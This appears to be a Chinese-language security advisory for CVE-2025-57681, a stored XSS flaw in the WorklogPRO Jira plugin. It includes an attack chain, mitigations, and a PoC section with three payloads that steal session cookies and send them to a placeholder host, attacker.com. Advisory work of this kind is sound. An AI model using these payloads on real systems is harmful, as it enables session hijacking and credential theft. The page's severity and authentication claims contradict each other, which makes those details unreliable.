CVE-2025-57681: Jira WorklogPRO插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-57681

漏洞类型

存储型XSS

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WorklogPRO - Timesheets for Jira (Jira Data Center)

漏洞概述

CVE-2025-57681是Atlassian Jira Data Center平台上WorklogPRO - Timesheets for Jira插件中的一个高危安全漏洞。该漏洞为存储型跨站脚本攻击（Stored XSS），允许攻击者在Jira issue的summary字段中注入恶意HTML或JavaScript代码。当其他用户查看包含恶意payload的issue时，攻击脚本将在受害者浏览器中执行，从而窃取会话cookie、劫持用户账号或进行其他恶意操作。由于该payload存储在服务器端，所有访问该issue的用户都会受到攻击影响，因此具有广泛的攻击面和严重的潜在危害。WorklogPRO是一款广泛应用于企业Jira环境的时间追踪和工时管理插件，其漏洞影响了大量使用该插件进行项目管理和时间记录的Jira Data Center部署实例。漏洞影响版本为4.23.6-jira10之前和4.23.5-jira9之前的版本，官方已在后续版本中修复了此安全问题。鉴于XSS漏洞的隐蔽性和广泛影响范围，建议所有使用受影响版本插件的用户立即采取修复措施。

技术细节

该存储型XSS漏洞源于WorklogPRO插件在处理issue summary字段时缺乏充分的输入验证和输出编码。当用户在Jira中创建或编辑issue时，攻击者可以在summary字段中注入恶意JavaScript代码，如：<script>alert(document.cookie)</script>。由于插件未对用户输入进行安全过滤，该payload被直接存储在数据库中。当其他用户通过WorklogPRO插件查看相关issue的时间日志或报表时，插件会从数据库读取并渲染summary字段内容，导致恶意脚本在用户浏览器上下文中执行。攻击者可利用此漏洞窃取受害者的Jira会话cookie、凭据或敏感数据，甚至可以通过构造更复杂的payload实现横向移动，访问其他系统资源。攻击成功的关键条件包括：攻击者能够创建或编辑issue（即使是低权限用户也可能满足），以及受害者通过WorklogPRO插件界面查看包含恶意payload的issue。修复方案需要在插件的数据输入层添加白名单过滤，并在数据输出层实施严格的HTML实体编码。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标Jira环境是否安装WorklogPRO插件及其版本信息

STEP 2

初始访问

攻击者获取Jira用户账号（即使是低权限用户），获得创建或编辑issue的权限

STEP 3

载荷注入

攻击者在issue的summary字段中注入恶意JavaScript代码，payload存储到数据库

STEP 4

触发条件

受害者通过WorklogPRO插件查看包含恶意payload的issue或相关报表

STEP 5

代码执行

恶意脚本在受害者浏览器中执行，可窃取cookie、会话令牌或执行其他恶意操作

STEP 6

权限提升/横向移动

攻击者利用窃取的凭据访问其他系统资源或提升在Jira环境中的权限

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2025-57681 Stored XSS PoC
// Target: WorklogPRO - Timesheets for Jira (Jira Data Center)
// Attack Vector: Inject malicious JavaScript in issue summary field

// Step 1: Create or edit an issue in Jira
// Step 2: Insert the following payload in the summary field:

const xssPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`;

// Alternative payloads:
const payload2 = `<svg/onload=fetch('https://attacker.com/log?c='+btoa(document.cookie))>`;
const payload3 = `<script>new Image().src='https://attacker.com/cookie?data='+document.cookie;</script>`;

// Step 3: Save the issue with the malicious summary
// Step 4: When any user views the issue through WorklogPRO plugin,
//         the XSS payload will be executed in their browser context

// Example exploitation scenario:
const exploitScenario = {
    target: 'Jira Issue Summary Field',
    method: 'Stored XSS via WorklogPRO plugin',
    impact: ['Session hijacking', 'Credential theft', 'Data exfiltration'],
    prerequisites: 'Attacker needs Jira user account with issue creation/edit rights'
};

console.log('PoC for CVE-2025-57681');
console.log('Payload:', xssPayload);

影响范围

WorklogPRO Timesheets for Jira < 4.23.6-jira10

WorklogPRO Timesheets for Jira < 4.23.5-jira9

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1) 限制低权限用户创建和编辑issue的权限，只允许受信任的管理员或高级用户进行操作；2) 在Jira前端实施XSS过滤插件或修改现有WAF规则；3) 启用浏览器的XSS防护功能；4) 监控和审查所有issue summary字段的变更日志；5) 考虑暂时禁用WorklogPRO插件直到完成安全更新；6) 加强用户安全意识培训，提醒用户不要点击来源不明的链接。